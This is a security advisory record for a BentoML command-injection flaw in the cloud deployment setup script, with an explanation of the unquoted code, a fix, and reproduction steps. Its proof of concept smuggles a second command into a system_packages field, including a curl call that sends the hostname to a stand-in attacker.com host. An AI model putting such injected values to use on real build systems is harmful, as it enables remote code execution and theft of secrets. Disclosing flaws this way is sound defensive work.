CVE-2026-35043: BentoML Command Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fgv4-6jr3-jgfw",
  "modified" : "2026-06-08T20:04:34Z",
  "published" : "2026-04-03T22:03:22Z",
  "aliases" : [ "CVE-2026-35043" ],
  "summary" : "BentoML: Command Injection in cloud deployment setup script",
  "details" : "Commit ce53491 (March 24) fixed command injection via `system_packages` in Dockerfile templates and `images.py` by adding `shlex.quote`. However, the cloud deployment path in `src/bentoml/_internal/cloud/deployment.py` was not included in the fix. Line 1648 interpolates `system_packages` directly into a shell command using an f-string without any quoting.\n\nThe generated script is uploaded to BentoCloud as `setup.sh` and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier.\n\n## Details\n\n**Fixed paths (commit ce53491):**\n- `src/_bentoml_sdk/images.py:88` - added `shlex.quote(package)`\n- `src/bentoml/_internal/bento/build_config.py:505` - added `bash_quote` Jinja2 filter\n- Jinja2 templates: `base_debian.j2`, `base_alpine.j2`, etc.\n\n**Unfixed path:**\n\n`src/bentoml/_internal/cloud/deployment.py`, line 1648:\n\n    def _build_setup_script(bento_dir: str, image: Image | None) -> bytes:\n        content = b\"\"\n        config = BentoBuildConfig.from_bento_dir(bento_dir)\n        if config.docker.system_packages:\n            content += f\"apt-get update && apt-get install -y {' '.join(config.docker.system_packages)} || exit 1\\n\".encode()\n\n`system_packages` values from `bentofile.yaml` are joined with spaces and interpolated directly into the `apt-get install` command. No `shlex.quote`.\n\n**Remote execution confirmed:**\n- Line 905: `setup_script = _build_setup_script(bento_dir, svc.image)` in `_init_deployment_files`\n- Line 908: `upload_files.append((\"setup.sh\", setup_script))` uploads to BentoCloud\n- Line 914: `self.upload_files(upload_files, ...)` sends to the remote deployment\n- The script runs on the cloud build infrastructure during container setup\n\n**Second caller at line 1068:** `_build_setup_script` is also called during `Deployment.watch()` for dev mode hot-reload deployments.\n\n## Proof of Concept\n\nbentofile.yaml:\n\n    service: \"service:svc\"\n    docker:\n      system_packages:\n        - \"curl\"\n        - \"jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}#\"\n\nGenerated setup.sh:\n\n    apt-get update && apt-get install -y curl jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}# || exit 1\n\nThe semicolon terminates the `apt-get` command. `${IFS}` is used for spaces (works in bash, avoids YAML parsing issues). The `#` comments out the trailing `|| exit 1`. The injected `curl` exfiltrates the hostname of the build infrastructure to the attacker.\n\n## Impact\n\nA malicious `bentofile.yaml` achieves remote code execution on BentoCloud's build infrastructure (or enterprise Yatai/Kubernetes build nodes) during deployment. Attack scenarios:\n\n1. **Supply chain:** A shared Bento from a public model hub contains a poisoned `bentofile.yaml`. When deployed to BentoCloud, the injected command runs on the build infrastructure.\n2. **Insider threat:** A data scientist with deploy permissions injects commands into `system_packages` to exfiltrate secrets from the build environment (cloud credentials, API keys, other tenants' data).\n3. **CI/CD compromise:** The build infrastructure typically has access to container registries, artifact storage, and deployment APIs, making this a pivot point for broader infrastructure compromise.\n\n## Local Reproduction Steps\n\nTested and confirmed on Ubuntu with BentoML source at commit 0772581.\n\nStep 1: Create a directory with a malicious bentofile.yaml:\n\n    mkdir /tmp/bento-pwn\n    cat > /tmp/bento-pwn/bentofile.yaml << 'EOF'\n    service: \"service:svc\"\n    docker:\n      system_packages:\n        - \"curl\"\n        - \"jq; touch /tmp/PWNED_BY_INJECTION #\"\n    EOF\n\nStep 2: Generate the setup script using the vulnerable code path (extracted from deployment.py:1648):\n\n    python3 -c \"\n    import yaml\n    with open('/tmp/bento-pwn/bentofile.yaml') as f:\n        config = yaml.safe_load(f)\n    pkgs = config['docker']['system_packages']\n    script = f\\\"apt-get update && apt-get install -y {' '.join(pkgs)} || exit 1\\n\\\"\n    print('Generated setup.sh:')\n    print(script)\n    with open('/tmp/bento-pwn/setup.sh', 'w') as f:\n        f.write(script)\n    \"\n\nStep 3: Execute and verify:\n\n    rm -f /tmp/PWNED_BY_INJECTION\n    bash /tmp/bento-pwn/setup.sh\n    ls -la /tmp/PWNED_BY_INJECTION\n\nResult: `/tmp/PWNED_BY_INJECTION` is created, confirming the injected `touch` command executed. The semicolon broke out of `apt-get install`, the injected command ran, and `#` commented out the error handler.\n\nGenerated setup.sh content:\n\n    apt-get update && apt-get install -y curl jq; touch /tmp/PWNED_BY_INJECTION # || exit 1\n\nFor comparison, the fixed version (with shlex.quote) would generate:\n\n    apt-get update && apt-get install -y curl 'jq; touch /tmp/PWNED_BY_INJECTION #' || exit 1\n\nThe single quotes from shlex.quote neutralize the semicolon and hash, treating the entire string as a literal package name argument to apt-get.\n\n## Suggested Fix\n\nApply `shlex.quote` to each package name, matching the fix in `images.py`:\n\n    if config.docker.system_packages:\n        quoted = ' '.join(shlex.quote(p) for p in config.docker.system_packages)\n        content += f\"apt-get update && apt-get install -y {quoted} || exit 1\\n\".encode()\n\n— Koda Reef",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "bentoml"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.4.38"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.4.37"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/bentoml/BentoML/security/advisories/GHSA-fgv4-6jr3-jgfw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33744"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35043"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/bentoml/BentoML"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-158.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-03T22:03:22Z",
    "nvd_published_at" : "2026-04-06T18:16:41Z"
  }
}